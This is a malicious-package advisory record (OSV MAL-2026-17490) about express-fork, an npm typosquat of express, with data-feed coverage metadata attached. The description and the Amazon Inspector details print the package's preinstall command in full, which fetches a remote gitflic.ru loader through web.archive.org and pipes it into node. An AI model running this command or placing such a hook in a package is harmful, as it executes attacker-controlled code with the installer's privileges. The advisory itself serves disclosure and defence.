{"id":"MAL-2026-17490","revision":null,"records":[{"revision":"04b816a4592e4d929890589d581f8469","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-17490","aliases":[],"title":"Malicious code in express-fork (npm)","description":"express-fork@5.2.2 impersonates express (it copies express's package metadata, including the description \"Fast, unopinionated, minimalist web framework\" and author TJ Holowaychuk) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account cleancomforter published express-fork and 8 similar packages on 2026-10-03 between 05:05 and 05:25 UTC, all with the same preinstall script.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (174daf2d7b9b396bb40a2ad347597eb7d1e829c46e4568e9700302e8aaceee3d)\nexpress-fork@5.2.2 is a typosquat of the express package. Its package.json metadata (description, author, repository, keywords) is copied verbatim from express, while package.json line 98 defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/...?file=node.js | node`. On every `npm install`, the hook fetches an unpinned JavaScript file from a third-party gitflic.ru account unrelated to the Express publisher (via a web.archive.org wrapper) and pipes it directly to the Node interpreter, with no integrity or signature check. The fetched content executes with the privileges of the installing user and can perform arbitrary actions on the installer's machine, including credential theft, persistence, or further payload delivery. The impersonation of express is the lure that causes typo-based installs to trigger the remote-exec hook.\n","state":0,"publishedAt":"2026-10-03T05:14:11+00:00","modifiedAt":"2026-10-05T23:00:07.3254765+00:00","affected":[{"ecosystem":"npm","name":"express-fork","ranges":[],"versions":["5.2.2"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/express-fork/v/5.2.2","https://www.npmjs.com/package/express-fork"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17490","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17490","identifiers":["MAL-2026-17490"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T15:59:29.1371819+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T15:59:29.1371819+00:00","lastSuccessAt":"2026-11-11T15:59:29.3319702+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:29.3319715+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-f7a27b6686d027a29d541c1a67c85e77c8818c1542bd9e626ca104d5a08b6cff","complete":true,"records":424160,"lastAttemptAt":"2026-11-11T15:57:33.081355+00:00","lastSuccessAt":"2026-11-11T15:57:32.9249839+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:57:33.081355+00:00","snapshotPublishedAt":"2026-11-11T15:27:38+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-fbe6382b6d1e4810ad598ca4b39b1839","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T16:11:34.900804+00:00","lastSuccessAt":"2026-11-11T16:11:34.895+00:00","error":"8 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T16:11:34.895+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13527,"expectedIdentifiers":13813,"failedIdentifiers":8},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T15:59:29.1371819+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T15:59:29.1371819+00:00","lastSuccessAt":"2026-11-11T15:59:29.3328867+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:29.332887+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-83d5ee721aa54b298ac0e478691d5c53","complete":true,"records":13753,"lastAttemptAt":"2026-11-11T15:59:30.4109764+00:00","lastSuccessAt":"2026-11-11T15:59:30.407+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:30.407+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T15:59:28.9781944+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:28.9781944+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T15:57:33.229994+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:57:33.229994+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T15:59:29.0795742+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:29.0795742+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-eb69eb75f2b568fd8be458efa2db8e11aac201724ba0b44fa3f79c386f195e15","complete":true,"records":231668,"lastAttemptAt":"2026-11-11T15:59:28.847182+00:00","lastSuccessAt":"2026-11-11T15:59:27.3458308+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:28.847182+00:00","snapshotPublishedAt":"2026-11-11T15:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}